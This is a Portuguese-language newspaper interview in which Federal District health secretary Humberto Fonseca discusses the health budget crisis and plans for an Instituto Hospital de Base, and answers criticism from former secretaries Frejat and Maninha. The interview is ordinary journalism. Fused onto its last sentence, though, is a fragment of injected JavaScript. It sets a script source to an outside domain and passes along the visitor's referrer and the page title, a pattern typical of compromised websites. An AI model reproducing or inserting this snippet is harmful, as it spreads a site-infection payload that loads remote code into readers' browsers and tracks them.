Frejat e Maninha são passado, diz secretário de Saúde

Com exclusividade ao Brasília Capital, Humberto Fonseca aponta a criação do Instituto Hospital de Base, nos moldes do Sarah Kubitschek, como o melhor caminho para tirar a Saúde pública do DF da situação crítica em que se encontra.

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Segundo ele, a política remuneratória de Agnelo Queiroz (PT) foi desastrada. E responde aos ex-secretários Jofran Frejat (PR) e Maninha (Psol). Na edição anterior do jornal, ambos criticaram as propostas da atual gestão para o setor.

Fonseca entende que o modelo implantada por Frejat é antigo e pouco produtivo, enquanto o Saúde em Casa, de Maininha, no governo Cristovam Buarque, foi baseada na Organização Social (OS) Instituto Candango de Solidariedade (ICS).

E manda o recado: \”Agora a responsabilidade de fazer mais e melhor, em tempos mais duros, é nossa\”.

BC – Como o senhor classifica a situação da saúde pública no DF? O que causa carência de recursos numa área tão sensível para a população?

Humberto Fonseca – A saúde do Distrito Federal vive um momento difícil. A política remuneratória desastrada adotada pelo governo anterior levou a um aumento excessivo de gastos com pessoal, ao mesmo tempo que promoveu a redução de carga horária de várias categorias da Saúde. Isso levou a Secretaria a gastar, em números atuais, mais de 80% do seu orçamento com pessoal, o que torna insustentável o equilíbrio financeiro, sem falar no déficit de pessoal que leva ao fechamento de leitos e serviços, já que novas nomeações estão limitadas pela Lei de Responsabilidade Fiscal. Além disso, ao arrepio da lei, o governo anterior cancelou empenhos relativos ao ano de 2014, deixando uma dívida milionária para ser paga pela atual administração, o que só estamos conseguindo fazer agora, graças a uma mudança de interpretação sobre a utilização de recursos de repasse fundo a fundo, que construímos com o Ministério da Saúde. A retração econômica que o País atravessa – a maior da história, com três anos seguidos de recessão – causa a redução da arrecadação e dos repasses federais, o que completa o cenário de ruína financeira da saúde pública na Capital Federal. A falta de orçamento e as dívidas que ainda não puderam ser pagas levam a crises de abastecimento de vários insumos, dificuldade na manutenção de equipamentos e de realização de investimentos, num momento em que a demanda por saúde pública só aumenta. Num cenário como esse, é essencial buscar soluções mais modernas e inteligentes para a gestão do setor, de forma a alocar com maior eficiência o escasso recurso público e, assim, procurar sair do ciclo vicioso gerado pela irresponsabilidade e pela falta de planejamento. É o que estamos fazendo.

BC – Mas tem havido muita reação às propostas da Secretaria…

Humberto Fonseca – Embora se reconheça que é necessário mudar, há uma grande resistência a qualquer mudança, principalmente por parte de alguns dirigentes sindicais, que precisam assumir sua quota de responsabilidade pelas dificuldades que a Saúde hoje enfrenta. Os sindicatos têm como missão defender interesses corporativos. Isso é natural da democracia. No entanto, cabe ao Estado – Executivo, Legislativo e Judiciário – defender o interesse público e buscar um equilíbrio. Estranho seria se os sindicatos defendessem o interesse público contra os interesses de suas corporações. Há uma tendência do sindicalismo de sugar do Estado até que ele se torne inviável. Cabe ao Estado proteger os sindicatos de si mesmos e proteger a população de exageros.

BC – O atual modelo de atendimento é o mais adequado? O que é preciso fazer para dar à população atendimento médico sem enormes filas e até falta de material para o trabalho dos profissionais?

Humberto Fonseca – O sistema de saúde é desorganizado e tem baixa produtividade. Primeiro é preciso organizar a atenção primária e aproveitar os recursos existentes para fortalecer a Estratégia Saúde da Família (ESF), que deverá ser capaz de resolver 85% ou mais dos problemas de saúde da população. Para isso, precisamos superar o ultrapassado modelo tradicional, que foi útil no passado, mas hoje não responde mais às necessidades de atendimento. Com a ESF funcionando bem, a demanda espontânea de menor gravidade poderá ser resolvida nas próprias Unidades Básicas de Saúde (UBSs), desafogando as emergências, que, hoje, são o principal ponto de contato da população com a rede de saúde. Com as UBSs trabalhando bem, de forma territorializada, com alta resolutividade e monitoramento de resultados e indicadores de qualidade, haverá grande evolução. Para isso, estamos promovendo uma ampla reforma do modelo de atenção primária, materializada nas Portarias 77 e 78, de 2017, a fim de aumentar a cobertura de saúde da família, que hoje é de cerca de 30%, para 75%, que corresponde à população SUS-dependente do DF. Além disso, para garantir abastecimento e manutenção adequados e dar aos profissionais da saúde estrutura para exercer bem seu trabalho, precisamos investir em modelos de gestão mais eficientes. Vários gestores bem-intencionados passaram pela SES, mas fracassaram em promover mudanças estruturantes e duradouras. Isso porque o problema está na falência do modelo atual. Todos concordam que precisamos mudar, e o governo tem boas propostas.

BC – Por exemplo?

Humberto Fonseca – Uma das nossas propostas é a criação do Instituto Hospital de Base, uma entidade controlada pelo Poder Público, mas com normas de funcionamento menos burocráticas. Isso dará autonomia e agilidade ao nosso maior hospital, o que se refletirá em melhoria na quantidade e na qualidade do atendimento. Estamos trabalhando também na melhoria dos fluxos internos, mesmo na administração direta. Publicamos o primeiro Regulamento de Contratações da história da Secretaria de Saúde e um Manual de Contratações (Portaria 210, de 2017), que sistematiza o processo, fixa prazos e responsabilidades e define indicadores de qualidade, de forma a comprarmos melhor e mais rapidamente, apesar de todas as dificuldades criadas por uma legislação anacrônica, incompatível com a velocidade que se espera das respostas em saúde.

BC – O problema é apenas falta de recursos financeiros?

Humberto Fonseca – A insuficiência de recursos para uma demanda crescente é um grande problema, mas a falta de organização dos processos internos e a falta de investimento em instrumentos mais modernos de gestão são entraves igualmente difíceis de superar.

BC – Por que o HBB chegou à atual situação de penúria atual?

 Humberto Fonseca – O Hospital de Base sofre, como os demais hospitais e unidades da rede, por carência de recursos orçamentários e financeiros, e pelas dificuldades que o modelo atual impõe aos processos de abastecimento, manutenção e admissão de pessoal. Tem dificuldade de execução do orçamento relacionado a ensino e pesquisa, falta-lhe organização da oferta de seus serviços e controle dos resultados e indicadores de qualidade.

BC – Transformar o HBB em instituto é a única solução?

Humberto Fonseca – É a melhor solução. Todos os estados e municípios do Brasil que vêm conseguindo bons resultados de assistência pública à saúde têm adotado modelos jurídico-administrativos diferentes da administração direta de suas unidades. Estudamos vários modelos jurídicos possíveis – fundações públicas e privadas, empresas públicas, serviços sociais, organizações sociais e outros – e, para o HBB, avaliamos que o modelo jurídico-administrativo do Sarah Kubitschek, de um serviço social, é o que propicia a maior desburocratização e a melhor eficiência da gestão, sem perda de controle e sem qualquer participação do capital privado em sua estrutura decisória.

BC – Em entrevista ao Brasília Capital, os ex-secretários Jofran Frejat e Maninha criticam a ideia de criação do Instituto HBB, dizendo que ele pode precarizar relações de trabalho no hospital e que não irá resolver o problema. Maninha chega a dizer que o atual governo não consegue enxergar de forma global os problemas da Saúde. O que o senhor acha dessas críticas dos dois ex-secretários?

Humberto Fonseca – Quando políticos falam sobre saúde, mesmo sendo profissionais da área, temos que entender que em suas posições está contida uma forte carga de aspectos partidários e eleitorais, que precisam ser filtrados. Acredito que Frejat e Maninha são pessoas sérias, comprometidas com a Saúde e que, em suas gestões, também buscaram saídas para as dificuldades que enfrentaram. Foi graças ao trabalho de Frejat na Secretaria que hoje temos uma boa estrutura de centros de saúde no DF. Mas a forma que esses centros trabalham não é mais adequada às atuais necessidades da população, em uma situação de envelhecimento e de aumento de doenças crônicas. O modelo tradicional, que foi útil para Brasília, hoje é antigo e ineficiente, tem baixa produtividade e baixa resolutividade. As estratégias de saúde pública evoluíram e não podemos ficar estagnados no passado. Precisamos avançar em direção à saúde da família, para corrigir essas distorções. Maninha, com o Saúde em Casa, aumentou a cobertura de saúde da família para 70%, mas fez isso por meio de uma organização social, o Instituto Candango de Solidariedade. A verdade é que o SUS corre perigo, porque a equação de aumento da demanda e diminuição do financiamento é complicada. Os tempos mudaram, a abundância de recursos do passado não existe mais. Precisamos pensar em soluções para defender o SUS.  Não há grandes divergências em nosso pensamento. Todos buscamos a melhoria da Saúde do DFl, mas agora a responsabilidade por fazer mais e melhor, em tempos mais duros, é nossa.

BC – O que a Secretaria está fazendo ou pretende fazer para Brasília voltar a ser referência na saúde pública no País?

Humberto Fonseca – Estamos aperfeiçoando nossos processos internos. Estamos organizando as estruturas e normatizando seu funcionamento, com base em planejamento, eficiência, transparência e controle. Estamos investindo como nunca em atenção primária, com o fortalecimento e consolidação da ESF. Estamos analisando e propondo modelos de gestão mais eficientes. Estamos desafiando interesses políticos e econômicos que sempre dominaram a Saúde Pública em Brasília. Estamos enfrentando interesses corporativos que se contrapõem ao interesse público. Enfim, estamos trabalhando com afinco, dignidade e honestidade, porque acreditamos que podemos fazer melhor do que foi feito no passado.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;